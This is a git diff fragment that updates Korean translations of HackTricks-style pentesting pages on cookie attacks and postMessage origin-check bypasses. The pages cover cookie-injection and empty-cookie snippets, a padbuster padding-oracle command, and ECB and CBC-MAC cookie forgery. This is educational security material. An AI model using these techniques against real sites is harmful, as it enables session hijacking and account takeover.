* 이 기술은 **모던 브라우저에서 JS로 TRACE 요청을 보내는 것을 허용하지 않음으로써 방지됩니다**. 그러나 IE6.0 SP2에서 `\r\nTRACE`를 보내는 것과 같은 특정 소프트웨어에서 우회 방법이 발견되었습니다.
|
||||||
* 또 다른 방법은 브라우저의 제로/데이 취약점을 악용하는 것입니다.
|
* 또 다른 방법은 브라우저의 제로/데이 취약점을 악용하는 것입니다.
|
||||||
* 쿠키 항아리 오버플로우 공격을 수행하여 **HttpOnly 쿠키를 덮어쓸 수 있습니다**:
|
* 쿠키 항아리 오버플로우 공격을 수행하여 **HttpOnly 쿠키를 덮어쓸 수 있습니다**:
|
||||||
|
|
||||||
|
@ -89,50 +82,50 @@ _**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
|
||||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* [**쿠키 밀수**](./#cookie-smuggling) 공격을 사용하여 이러한 쿠키를 유출할 수 있습니다.
|
* [**Cookie Smuggling**](./#cookie-smuggling) 공격을 사용하여 이러한 쿠키를 유출할 수 있습니다.
|
||||||
|
|
||||||
### Secure
|
### Secure
|
||||||
|
|
||||||
요청은 **HTTP** 요청에서만 쿠키를 전송하며, 요청이 보안 채널(일반적으로 **HTTPS**)을 통해 전송될 때만 가능합니다.
|
요청은 **HTTP** 요청이 보안 채널(일반적으로 **HTTPS**)을 통해 전송될 때만 쿠키를 **전송합니다**.
|
||||||
|
|
||||||
## 쿠키 접두사
|
## Cookies Prefixes
|
||||||
|
|
||||||
`__Secure-`로 접두사가 붙은 쿠키는 HTTPS로 보호된 페이지와 함께 `secure` 플래그가 설정되어야 합니다.
|
`__Secure-`로 접두사가 붙은 쿠키는 HTTPS로 보호되는 페이지와 함께 `secure` 플래그와 함께 설정되어야 합니다.
|
||||||
|
|
||||||
`__Host-`로 접두사가 붙은 쿠키는 여러 조건을 충족해야 합니다:
|
`__Host-`로 접두사가 붙은 쿠키는 여러 조건을 충족해야 합니다:
|
||||||
|
|
||||||
* `secure` 플래그와 함께 설정되어야 합니다.
|
* `secure` 플래그와 함께 설정되어야 합니다.
|
||||||
* HTTPS로 보호된 페이지에서 유래해야 합니다.
|
* HTTPS로 보호되는 페이지에서 유래해야 합니다.
|
||||||
* 도메인을 지정할 수 없으며, 하위 도메인으로의 전송이 금지됩니다.
|
* 도메인을 지정하는 것이 금지되어 하위 도메인으로의 전송을 방지합니다.
|
||||||
* 이러한 쿠키의 경로는 `/`로 설정되어야 합니다.
|
* 이러한 쿠키의 경로는 `/`로 설정되어야 합니다.
|
||||||
|
|
||||||
`__Host-`로 접두사가 붙은 쿠키는 슈퍼도메인이나 하위 도메인으로 전송될 수 없다는 점에 유의해야 합니다. 이 제한은 애플리케이션 쿠키를 격리하는 데 도움이 됩니다. 따라서 모든 애플리케이션 쿠키에 대해 `__Host-` 접두사를 사용하는 것은 보안 및 격리를 강화하는 좋은 관행으로 간주될 수 있습니다.
|
`__Host-`로 접두사가 붙은 쿠키는 슈퍼도메인이나 하위 도메인으로 전송될 수 없다는 점에 유의해야 합니다. 이 제한은 애플리케이션 쿠키를 격리하는 데 도움이 됩니다. 따라서 모든 애플리케이션 쿠키에 대해 `__Host-` 접두사를 사용하는 것은 보안 및 격리를 강화하는 좋은 관행으로 간주될 수 있습니다.
|
||||||
|
|
||||||
### 쿠키 덮어쓰기
|
### Overwriting cookies
|
||||||
|
|
||||||
`__Host-` 접두사가 붙은 쿠키의 보호 중 하나는 하위 도메인에서 덮어쓰는 것을 방지하는 것입니다. 예를 들어 [**쿠키 토스 공격**](cookie-tossing.md)을 방지합니다. [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**논문**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))에서 하위 도메인에서 __HOST- 접두사가 붙은 쿠키를 설정할 수 있는 방법이 제시되었습니다. 예를 들어, 시작 부분이나 끝 부분에 "="를 추가하여 파서를 속이는 방법입니다:
|
따라서 `__Host-` 접두사가 붙은 쿠키의 보호 중 하나는 하위 도메인에서 덮어쓰는 것을 방지하는 것입니다. 예를 들어 [**Cookie Tossing attacks**](cookie-tossing.md)를 방지합니다. [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))에서 하위 도메인에서 __HOST- 접두사가 붙은 쿠키를 설정할 수 있는 방법이 제시되었습니다. 예를 들어, 파서를 속이기 위해 시작 부분이나 끝 부분에 "="를 추가하는 것입니다:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
또는 PHP에서는 쿠키 이름의 **시작 부분에 다른 문자를 추가하여** **밑줄** 문자로 대체되도록 하여 `__HOST-` 쿠키를 덮어쓸 수 있었습니다:
|
또는 PHP에서는 쿠키 이름의 시작 부분에 **다른 문자를 추가하여** **밑줄** 문자로 대체되도록 하여 `__HOST-` 쿠키를 덮어쓸 수 있었습니다:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## 쿠키 공격
|
## Cookies Attacks
|
||||||
|
|
||||||
사용자 정의 쿠키에 민감한 데이터가 포함되어 있는 경우 확인하세요 (특히 CTF를 진행 중이라면), 취약할 수 있습니다.
|
사용자 정의 쿠키에 민감한 데이터가 포함되어 있는 경우 이를 확인하세요 (특히 CTF를 진행 중인 경우), 취약할 수 있습니다.
|
||||||
|
|
||||||
### 쿠키 디코딩 및 조작
|
### Decoding and Manipulating Cookies
|
||||||
|
|
||||||
쿠키에 포함된 민감한 데이터는 항상 면밀히 검토해야 합니다. Base64 또는 유사한 형식으로 인코딩된 쿠키는 종종 디코딩할 수 있습니다. 이 취약점은 공격자가 쿠키의 내용을 변경하고 수정된 데이터를 다시 쿠키에 인코딩하여 다른 사용자를 가장할 수 있게 합니다.
|
쿠키에 포함된 민감한 데이터는 항상 면밀히 검토해야 합니다. Base64 또는 유사한 형식으로 인코딩된 쿠키는 종종 디코딩할 수 있습니다. 이 취약점은 공격자가 쿠키의 내용을 변경하고 수정된 데이터를 쿠키에 다시 인코딩하여 다른 사용자를 가장할 수 있게 합니다.
|
||||||
|
|
||||||
### 세션 하이재킹
|
### Session Hijacking
|
||||||
|
|
||||||
이 공격은 사용자의 쿠키를 훔쳐 애플리케이션 내에서 그들의 계정에 무단으로 접근하는 것입니다. 훔친 쿠키를 사용하여 공격자는 합법적인 사용자를 가장할 수 있습니다.
|
이 공격은 사용자의 쿠키를 훔쳐 애플리케이션 내에서 해당 계정에 무단으로 접근하는 것입니다. 공격자는 훔친 쿠키를 사용하여 합법적인 사용자를 가장할 수 있습니다.
|
||||||
|
|
||||||
### 세션 고정
|
### Session Fixation
|
||||||
|
|
||||||
이 시나리오에서 공격자는 피해자를 특정 쿠키를 사용하여 로그인하도록 속입니다. 애플리케이션이 로그인 시 새로운 쿠키를 할당하지 않으면, 원래 쿠키를 가진 공격자는 피해자를 가장할 수 있습니다. 이 기술은 피해자가 공격자가 제공한 쿠키로 로그인하는 데 의존합니다.
|
이 시나리오에서 공격자는 피해자가 특정 쿠키를 사용하여 로그인하도록 속입니다. 애플리케이션이 로그인 시 새로운 쿠키를 할당하지 않으면, 원래 쿠키를 가진 공격자는 피해자를 가장할 수 있습니다. 이 기술은 피해자가 공격자가 제공한 쿠키로 로그인하는 데 의존합니다.
|
||||||
|
|
||||||
하위 도메인에서 **XSS를 발견했거나** 하위 도메인을 **제어하는 경우**, 읽어보세요:
|
하위 도메인에서 **XSS를 발견했거나** 하위 도메인을 **제어하는 경우**, 읽어보세요:
|
||||||
|
|
||||||
|
@ -140,9 +133,9 @@ _**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
|
||||||
[cookie-tossing.md](cookie-tossing.md)
|
[cookie-tossing.md](cookie-tossing.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### 세션 기부
|
### Session Donation
|
||||||
|
|
||||||
여기서 공격자는 피해자가 공격자의 세션 쿠키를 사용하도록 설득합니다. 피해자는 자신의 계정에 로그인했다고 믿고, 공격자의 계정 맥락에서 무의식적으로 작업을 수행하게 됩니다.
|
여기서 공격자는 피해자가 공격자의 세션 쿠키를 사용하도록 설득합니다. 피해자는 자신의 계정에 로그인했다고 믿고 공격자의 계정에서 행동을 수행하게 됩니다.
|
||||||
|
|
||||||
하위 도메인에서 **XSS를 발견했거나** 하위 도메인을 **제어하는 경우**, 읽어보세요:
|
하위 도메인에서 **XSS를 발견했거나** 하위 도메인을 **제어하는 경우**, 읽어보세요:
|
||||||
|
|
||||||
|
@ -150,19 +143,19 @@ _**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
|
||||||
[cookie-tossing.md](cookie-tossing.md)
|
[cookie-tossing.md](cookie-tossing.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### [JWT 쿠키](../hacking-jwt-json-web-tokens.md)
|
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||||
|
|
||||||
이전 링크를 클릭하여 JWT의 가능한 결함을 설명하는 페이지에 접근하세요.
|
이전 링크를 클릭하여 JWT의 가능한 결함을 설명하는 페이지에 접근하세요.
|
||||||
|
|
||||||
쿠키에서 사용되는 JSON 웹 토큰(JWT)도 취약점을 가질 수 있습니다. 잠재적인 결함 및 이를 악용하는 방법에 대한 심층 정보를 얻으려면 JWT 해킹에 대한 링크된 문서를 참조하는 것이 좋습니다.
|
쿠키에서 사용되는 JSON Web Tokens (JWT)도 취약점을 가질 수 있습니다. 잠재적인 결함과 이를 악용하는 방법에 대한 심층 정보를 얻으려면 JWT 해킹에 대한 링크된 문서를 참조하는 것이 좋습니다.
|
||||||
|
|
||||||
### 교차 사이트 요청 위조 (CSRF)
|
### Cross-Site Request Forgery (CSRF)
|
||||||
|
|
||||||
이 공격은 로그인된 사용자가 현재 인증된 웹 애플리케이션에서 원하지 않는 작업을 수행하도록 강요합니다. 공격자는 취약한 사이트에 대한 모든 요청과 함께 자동으로 전송되는 쿠키를 악용할 수 있습니다.
|
이 공격은 로그인된 사용자가 현재 인증된 웹 애플리케이션에서 원하지 않는 작업을 수행하도록 강요합니다. 공격자는 취약한 사이트에 대해 자동으로 전송되는 쿠키를 악용할 수 있습니다.
|
||||||
|
|
||||||
### 빈 쿠키
|
### Empty Cookies
|
||||||
|
|
||||||
(자세한 내용은 [원본 연구](https://blog.ankursundara.com/cookie-bugs/)를 참조하세요) 브라우저는 이름이 없는 쿠키 생성을 허용하며, 이는 JavaScript를 통해 다음과 같이 시연할 수 있습니다:
|
(자세한 내용은 [원본 연구](https://blog.ankursundara.com/cookie-bugs/)를 참조하세요) 브라우저는 이름이 없는 쿠키를 생성하는 것을 허용하며, 이는 JavaScript를 통해 다음과 같이 시연할 수 있습니다:
|
||||||
```js
|
```js
|
||||||
document.cookie = "a=v1"
|
document.cookie = "a=v1"
|
||||||
document.cookie = "=test value;" // Setting an empty named cookie
|
document.cookie = "=test value;" // Setting an empty named cookie
|
||||||
|
@ -176,7 +169,7 @@ document.cookie = `${name}=${value}`;
|
||||||
|
|
||||||
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
|
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
|
||||||
```
|
```
|
||||||
이로 인해 브라우저는 모든 웹 서버에서 `a`라는 이름의 쿠키와 `b`라는 값으로 해석되는 쿠키 헤더를 전송하게 됩니다.
|
이로 인해 브라우저는 모든 웹 서버에서 `a`라는 이름과 `b`라는 값의 쿠키로 해석되는 쿠키 헤더를 전송하게 됩니다.
|
||||||
|
|
||||||
#### Chrome 버그: 유니코드 대리 코드 포인트 문제
|
#### Chrome 버그: 유니코드 대리 코드 포인트 문제
|
||||||
|
|
||||||
|
@ -194,9 +187,9 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||||
```
|
```
|
||||||
#### 쿠키 주입 취약점
|
#### 쿠키 주입 취약점
|
||||||
|
|
||||||
(자세한 내용은 [원본 연구](https://blog.ankursundara.com/cookie-bugs/)를 참조하세요) 서버가 쿠키를 잘못 파싱하는 경우, 특히 Undertow, Zope 및 Python의 `http.cookie.SimpleCookie`와 `http.cookie.BaseCookie`를 사용하는 경우 쿠키 주입 공격의 기회를 제공합니다. 이러한 서버는 새로운 쿠키의 시작을 적절히 구분하지 못하여 공격자가 쿠키를 스푸핑할 수 있게 합니다:
|
(자세한 내용은 [원본 연구](https://blog.ankursundara.com/cookie-bugs/)를 참조하세요) 서버가 쿠키를 잘못 파싱하는 경우, 특히 Undertow, Zope 및 Python의 `http.cookie.SimpleCookie`와 `http.cookie.BaseCookie`를 사용하는 경우 쿠키 주입 공격의 기회를 제공합니다. 이러한 서버는 새로운 쿠키의 시작을 제대로 구분하지 못하여 공격자가 쿠키를 스푸핑할 수 있게 합니다:
|
||||||
|
|
||||||
* Undertow는 세미콜론 없이 인용된 값 바로 뒤에 새로운 쿠키가 오는 것을 기대합니다.
|
* Undertow는 세미콜론 없이 인용된 값 바로 뒤에 새로운 쿠키가 올 것으로 기대합니다.
|
||||||
* Zope는 다음 쿠키를 파싱하기 위해 쉼표를 찾습니다.
|
* Zope는 다음 쿠키를 파싱하기 위해 쉼표를 찾습니다.
|
||||||
* Python의 쿠키 클래스는 공백 문자에서 파싱을 시작합니다.
|
* Python의 쿠키 클래스는 공백 문자에서 파싱을 시작합니다.
|
||||||
|
|
||||||
|
@ -207,20 +200,20 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||||
#### **기본 검사**
|
#### **기본 검사**
|
||||||
|
|
||||||
* **로그인**할 때마다 **쿠키**가 **같은**지 확인합니다.
|
* **로그인**할 때마다 **쿠키**가 **같은**지 확인합니다.
|
||||||
* 로그아웃하고 동일한 쿠키를 사용해 보세요.
|
* 로그아웃하고 같은 쿠키를 사용해 보세요.
|
||||||
* 두 개의 장치(또는 브라우저)로 동일한 계정에 동일한 쿠키로 로그인해 보세요.
|
* 두 개의 장치(또는 브라우저)로 같은 계정에 같은 쿠키로 로그인해 보세요.
|
||||||
* 쿠키에 정보가 있는지 확인하고 수정해 보세요.
|
* 쿠키에 정보가 있는지 확인하고 수정해 보세요.
|
||||||
* 거의 동일한 사용자 이름으로 여러 계정을 생성하고 유사성을 확인해 보세요.
|
* 거의 같은 사용자 이름으로 여러 계정을 생성해 보고 유사성을 확인하세요.
|
||||||
* "**기억하기**" 옵션이 있는지 확인하고 어떻게 작동하는지 살펴보세요. 존재하고 취약할 수 있는 경우, 다른 쿠키 없이 항상 **기억하기** 쿠키를 사용하세요.
|
* "**기억하기**" 옵션이 있는지 확인하고 어떻게 작동하는지 살펴보세요. 존재하고 취약할 수 있다면, 다른 쿠키 없이 항상 **기억하기** 쿠키를 사용하세요.
|
||||||
* 비밀번호를 변경한 후에도 이전 쿠키가 작동하는지 확인하세요.
|
* 비밀번호를 변경한 후에도 이전 쿠키가 작동하는지 확인하세요.
|
||||||
|
|
||||||
#### **고급 쿠키 공격**
|
#### **고급 쿠키 공격**
|
||||||
|
|
||||||
로그인할 때 쿠키가 동일하게 유지되거나 거의 동일하다면, 이는 쿠키가 귀하의 계정의 일부 필드(아마도 사용자 이름)와 관련이 있음을 의미합니다. 그런 다음 다음을 시도할 수 있습니다:
|
로그인할 때 쿠키가 동일(또는 거의 동일)하게 유지된다면, 이는 쿠키가 귀하의 계정의 일부 필드(아마도 사용자 이름)와 관련이 있음을 의미합니다. 그러면 다음을 시도할 수 있습니다:
|
||||||
|
|
||||||
* 매우 **유사한** 사용자 이름으로 많은 **계정**을 생성하고 알고리즘이 어떻게 작동하는지 **추측**해 보세요.
|
* 매우 **유사한** 사용자 이름으로 많은 **계정**을 생성하고 알고리즘이 어떻게 작동하는지 **추측**해 보세요.
|
||||||
* **사용자 이름을 브루트포스**해 보세요. 쿠키가 사용자 이름에 대한 인증 방법으로만 저장된다면, 사용자 이름 "**Bmin**"으로 계정을 생성하고 쿠키의 모든 **비트**를 **브루트포스**할 수 있습니다. 시도할 쿠키 중 하나는 "**admin**"에 속하는 쿠키가 될 것입니다.
|
* **사용자 이름을 브루트포스**해 보세요. 쿠키가 사용자 이름에 대한 인증 방법으로만 저장된다면, 사용자 이름 "**Bmin**"으로 계정을 생성하고 쿠키의 모든 **비트**를 **브루트포스**할 수 있습니다. 시도할 쿠키 중 하나는 "**admin**"에 속하는 쿠키가 될 것입니다.
|
||||||
* **패딩 오라클**을 시도해 보세요(쿠키의 내용을 복호화할 수 있습니다). **패드버스터**를 사용하세요.
|
* **패딩 오라클**을 시도해 보세요 (쿠키의 내용을 복호화할 수 있습니다). **패드버스터**를 사용하세요.
|
||||||
|
|
||||||
**패딩 오라클 - 패드버스터 예제**
|
**패딩 오라클 - 패드버스터 예제**
|
||||||
```bash
|
```bash
|
||||||
|
@ -244,7 +237,7 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
||||||
|
|
||||||
**CBC-MAC**
|
**CBC-MAC**
|
||||||
|
|
||||||
쿠키가 어떤 값을 가질 수 있고 CBC를 사용하여 서명될 수 있습니다. 그러면 값의 무결성은 동일한 값을 사용하여 CBC로 생성된 서명입니다. IV로 널 벡터를 사용하는 것이 권장되므로, 이러한 유형의 무결성 검사는 취약할 수 있습니다.
|
쿠키에 어떤 값이 있을 수 있고 CBC를 사용하여 서명될 수 있습니다. 그러면 값의 무결성은 동일한 값을 사용하여 CBC로 생성된 서명입니다. IV로 널 벡터를 사용하는 것이 권장되므로, 이러한 유형의 무결성 검사는 취약할 수 있습니다.
|
||||||
|
|
||||||
**공격**
|
**공격**
|
||||||
|
|
||||||
|
@ -261,20 +254,15 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
||||||
|
|
||||||
거의 동일한 데이터(사용자 이름, 비밀번호, 이메일 등)를 가진 2명의 사용자를 생성하고 주어진 쿠키 내에서 어떤 패턴을 발견하려고 시도합니다.
|
거의 동일한 데이터(사용자 이름, 비밀번호, 이메일 등)를 가진 2명의 사용자를 생성하고 주어진 쿠키 내에서 어떤 패턴을 발견하려고 시도합니다.
|
||||||
|
|
||||||
예를 들어 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"라는 사용자를 생성하고 쿠키에서 패턴이 있는지 확인합니다(ECB는 모든 블록을 동일한 키로 암호화하므로, 사용자 이름이 암호화되면 동일한 암호화된 바이트가 나타날 수 있습니다).
|
예를 들어 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"라는 사용자를 생성하고 쿠키에서 패턴이 있는지 확인합니다(ECB는 동일한 키로 모든 블록을 암호화하므로 사용자 이름이 암호화되면 동일한 암호화된 바이트가 나타날 수 있습니다).
|
||||||
|
|
||||||
사용된 블록의 크기로 패턴이 있어야 합니다. 따라서 "a"의 암호화된 묶음이 어떻게 되는지 알면 사용자 이름을 생성할 수 있습니다: "a"\*(블록의 크기)+"admin". 그런 다음 쿠키에서 "a" 블록의 암호화된 패턴을 삭제할 수 있습니다. 그러면 사용자 이름 "admin"의 쿠키를 얻게 됩니다.
|
사용된 블록의 크기로 패턴이 있어야 합니다. 따라서 "a"의 암호화된 묶음이 어떻게 되어 있는지 알면 사용자 이름을 생성할 수 있습니다: "a"\*(블록의 크기)+"admin". 그런 다음 쿠키에서 "a"의 블록 암호화 패턴을 삭제할 수 있습니다. 그러면 사용자 이름 "admin"의 쿠키를 얻게 됩니다.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -17,19 +17,6 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## **PostMessage** 전송
|
## **PostMessage** 전송
|
||||||
|
|
||||||
|
@ -112,21 +99,21 @@ In order to **find event listeners** in the current page you can:
|
||||||
|
|
||||||
### Origin check bypasses
|
### Origin check bypasses
|
||||||
|
|
||||||
* **`event.isTrusted`** 속성은 진정한 사용자 행동에 의해 생성된 이벤트에 대해서만 `True`를 반환하므로 안전한 것으로 간주됩니다. 올바르게 구현되면 우회하기 어려우나, 보안 검사에서의 중요성은 주목할 만합니다.
|
* **`event.isTrusted`** 속성은 진정한 사용자 행동에 의해 생성된 이벤트에 대해서만 `True`를 반환하므로 안전하다고 간주됩니다. 올바르게 구현되면 우회하기 어려우나, 보안 검사에서의 중요성은 주목할 만합니다.
|
||||||
* PostMessage 이벤트에서 출처 유효성을 검사하기 위해 **`indexOf()`**를 사용하는 것은 우회에 취약할 수 있습니다. 이 취약성을 설명하는 예는 다음과 같습니다:
|
* PostMessage 이벤트에서 출처 검증을 위해 **`indexOf()`**를 사용하는 것은 우회에 취약할 수 있습니다. 이 취약성을 설명하는 예시는 다음과 같습니다:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
|
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
|
||||||
```
|
```
|
||||||
* `String.prototype.search()`의 **`search()`** 메서드는 문자열이 아닌 정규 표현식을 위해 설계되었습니다. 정규 표현식이 아닌 것을 전달하면 암묵적으로 정규 표현식으로 변환되어 메서드가 잠재적으로 안전하지 않게 됩니다. 이는 정규 표현식에서 점(.)이 와일드카드로 작용하여 특별히 제작된 도메인으로 유효성 검사를 우회할 수 있게 합니다. 예를 들어:
|
* `String.prototype.search()`의 **`search()`** 메서드는 문자열이 아닌 정규 표현식을 위해 설계되었습니다. 정규 표현식이 아닌 것을 전달하면 암묵적으로 정규 표현식으로 변환되어 메서드가 잠재적으로 안전하지 않게 됩니다. 이는 정규 표현식에서 점(.)이 와일드카드로 작용하여 특별히 조작된 도메인으로 검증을 우회할 수 있게 합니다. 예를 들어:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||||
```
|
```
|
||||||
* **`match()`** 함수는 `search()`와 유사하게 정규 표현식을 처리합니다. 정규 표현식이 잘못 구성되면 우회에 취약할 수 있습니다.
|
* **`match()`** 함수는 `search()`와 유사하게 정규 표현식을 처리합니다. 정규 표현식이 잘못 구성되면 우회에 취약할 수 있습니다.
|
||||||
* **`escapeHtml`** 함수는 문자를 이스케이프하여 입력을 정리하기 위해 설계되었습니다. 그러나 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어씁니다. 이 동작은 악용될 수 있습니다. 특히, 객체를 조작하여 그 제어 속성이 `hasOwnProperty`를 인식하지 못하게 할 수 있다면, `escapeHtml`은 예상대로 작동하지 않을 것입니다. 이는 아래의 예에서 보여집니다:
|
* **`escapeHtml`** 함수는 문자를 이스케이프하여 입력을 정리하는 데 사용됩니다. 그러나 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어씁니다. 이 동작은 악용될 수 있습니다. 특히, 객체를 조작하여 그 제어 속성이 `hasOwnProperty`를 인식하지 못하게 할 수 있다면, `escapeHtml`은 예상대로 작동하지 않을 것입니다. 이는 아래 예시에서 보여집니다:
|
||||||
|
|
||||||
* 예상되는 실패:
|
* 예상 실패:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
result = u({
|
result = u({
|
||||||
|
@ -146,13 +133,13 @@ result.message; // "'"<b>\"
|
||||||
|
|
||||||
### e.origin == window.origin bypass
|
### e.origin == window.origin bypass
|
||||||
|
|
||||||
%%%%%%를 사용하여 **sandboxed iframe** 내에 웹 페이지를 삽입할 때, iframe의 출처가 null로 설정된다는 것을 이해하는 것이 중요합니다. 이는 **sandbox 속성** 및 보안과 기능에 대한 그 의미를 다룰 때 특히 중요합니다.
|
**sandboxed iframe** 내에 웹 페이지를 임베드할 때 %%%%%%, iframe의 출처가 null로 설정된다는 점을 이해하는 것이 중요합니다. 이는 **sandbox 속성** 및 보안과 기능에 대한 그 함의와 관련하여 특히 중요합니다.
|
||||||
|
|
||||||
sandbox 속성에 **`allow-popups`**를 지정하면 iframe 내에서 열리는 모든 팝업 창은 부모의 sandbox 제한을 상속받습니다. 이는 **`allow-popups-to-escape-sandbox`** 속성이 포함되지 않는 한, 팝업 창의 출처도 `null`로 설정되어 iframe의 출처와 일치함을 의미합니다.
|
sandbox 속성에 **`allow-popups`**를 지정하면 iframe 내에서 열리는 모든 팝업 창은 부모의 샌드박스 제한을 상속받습니다. 이는 **`allow-popups-to-escape-sandbox`** 속성이 포함되지 않는 한, 팝업 창의 출처도 `null`로 설정되어 iframe의 출처와 일치함을 의미합니다.
|
||||||
|
|
||||||
따라서 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 **`postMessage`**를 사용하여 메시지가 전송되면, 송신 및 수신 양쪽의 출처가 `null`로 설정됩니다. 이 상황은 **`e.origin == window.origin`**이 true로 평가되는 시나리오를 초래합니다 (`null == null`), 왜냐하면 iframe과 팝업이 동일한 `null` 출처 값을 공유하기 때문입니다.
|
따라서 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 **`postMessage`**를 사용하여 메시지가 전송되면, 송신 및 수신 양쪽의 출처가 `null`로 설정됩니다. 이 상황은 **`e.origin == window.origin`**이 true로 평가되는 시나리오를 초래합니다 (`null == null`), 왜냐하면 iframe과 팝업이 동일한 출처 값인 `null`을 공유하기 때문입니다.
|
||||||
|
|
||||||
자세한 내용은 **읽어보세요**:
|
For more information **read**:
|
||||||
|
|
||||||
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
|
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
|
||||||
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
|
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
|
||||||
|
@ -160,16 +147,16 @@ sandbox 속성에 **`allow-popups`**를 지정하면 iframe 내에서 열리는
|
||||||
|
|
||||||
### Bypassing e.source
|
### Bypassing e.source
|
||||||
|
|
||||||
메시지가 스크립트가 청취하고 있는 동일한 창에서 온 것인지 확인할 수 있습니다 (특히 **브라우저 확장 프로그램의 콘텐츠 스크립트**가 메시지가 동일한 페이지에서 전송되었는지 확인하는 데 흥미롭습니다):
|
